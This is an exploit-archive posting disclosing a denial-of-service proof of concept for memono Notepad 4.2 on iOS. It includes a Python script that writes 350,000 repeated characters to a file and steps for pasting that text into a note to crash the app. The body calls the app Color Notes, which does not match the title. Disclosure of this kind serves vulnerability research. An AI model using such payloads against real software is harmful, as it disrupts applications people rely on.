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memono Notepad 4.2 Denial Of Service

memono Notepad 4.2 Denial Of Service
Posted Jun 10, 2021
Authored by Geovanni Ruiz

memono Notepad 4.2 denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 6e0c80eeec1f14cb6c54d8b2608794aad97b58dbd5466fd0e4ea84a35c530d90

memono Notepad 4.2 Denial Of Service

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# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
# Date: 06-09-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
# Version: 4.2
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

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